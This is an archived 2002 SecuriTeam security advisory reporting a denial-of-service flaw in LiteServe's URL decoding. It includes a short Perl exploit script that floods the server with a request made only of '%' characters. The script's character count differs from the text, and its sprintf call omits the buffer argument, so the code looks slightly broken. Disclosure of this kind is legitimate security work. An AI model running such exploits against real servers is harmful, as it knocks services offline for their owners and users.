[NT] LiteServe URL Decoding DoS
From: support@securiteam.com
Date: 11/18/02
- Previous message: support@securiteam.com: "[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 18 Nov 2002 10:20:30 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
LiteServe URL Decoding DoS
------------------------------------------------------------------------
SUMMARY
<http://www.cmfperception.com/> LiteServe is a powerful, full-featured
Web, email and FTP server. This server software is perfect for personal
websites or commercial sites with high traffic demands and multiple
domains. A vulnerability in the way the program decodes URL allows remote
attackers to cause it to crash.
DETAILS
LiteServe's URL decoder has a problem handling illegal "%xx" sequences,
such as "%.@", for example, and may produce corrupted output when such a
sequence is used. The problem appears to be a referencing issue when the
decode sequence does not specify a legitamite hexadecimal sequence. A
denial of service may occur if LiteServe is passed an extremely large
request consisting only of "%" characters. 290,259 such characters will
cause LiteServe to freeze:
GET /[buffer] HTTP/1.0
After this request is processed, attempting to connect to the HTTP service
reveals that the server is dead.
Exploit:
#!/usr/bin/perl
use IO::Socket;
$buffer="%"x290759;
$req=sprintf("GET /%s HTTP/1.0\r\n\r\n");
$f=IO::Socket::INET->new(PeerAddr=>$ARGV[0],PeerPort=>$ARGV[1],Proto=>"tcp")
;
print $f $req;
undef $f;
ADDITIONAL INFORMATION
The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[REVS] Security holes... Who cares? (Security patches handling case study)"
- Previous message: support@securiteam.com: "[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Re: Tom Porterfield MS-MVP?
... > Let me begin with the fact that I have the utmost respect ... one reason
only. ... to the posts by the server. ... Your first post (sequence 98349):
... (microsoft.public.windowsxp.security_admin) - Re: Math.random() algorithm
... If all numbers are issued by a single server, the task is trivial, as ... I
want a standard way to assign a unique id to every single XML ... permuted or flipped so
that the sequence is not obvious from samples). ... The problem lies in getting enough
apparent randomness to initialise the ... (comp.lang.javascript) - Re: Pine sorting
... How does pine figure out when a message arrives at the server? ... it gets a
new sequence number and UID. ... So do you know which method Pine uses --
sequence number or UID? ... (comp.mail.pine) - Re: Transaction processing advice
... the sequence is as follows: ... PayPal handles sending the emails to
the customer and the seller. ... I set up something similar with the CC server and
my server sending emails on confirmation, at least send yourself an email so you can see them come in
pairs & know it all worked. ... (comp.lang.php)